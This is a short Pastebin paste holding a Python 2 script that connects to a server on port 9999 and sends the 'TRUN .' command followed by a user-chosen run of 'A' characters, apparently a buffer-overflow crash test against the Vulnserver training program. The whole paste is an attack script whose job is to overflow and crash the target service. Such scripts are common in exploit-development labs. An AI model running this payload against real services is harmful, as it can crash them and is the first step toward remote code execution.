Advertisement
GR1Mr3ap3r

Untitled

Feb 14th, 2017
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.41 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. server = '172.16.254.247'
  4. sport = 9999
  5.  
  6. length = int(raw_input('Length of attack: '))
  7.  
  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. connect = s.connect((server, sport))
  10. print s.recv(1024)
  11. print "Sending attack length ", length, ' to TRUN .'
  12. attack = 'A' * length
  13. s.send(('TRUN .' + attack + '\r\n'))
  14. print s.recv(1024)
  15. s.send('EXIT\r\n')
  16. print s.recv(1024)
  17. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement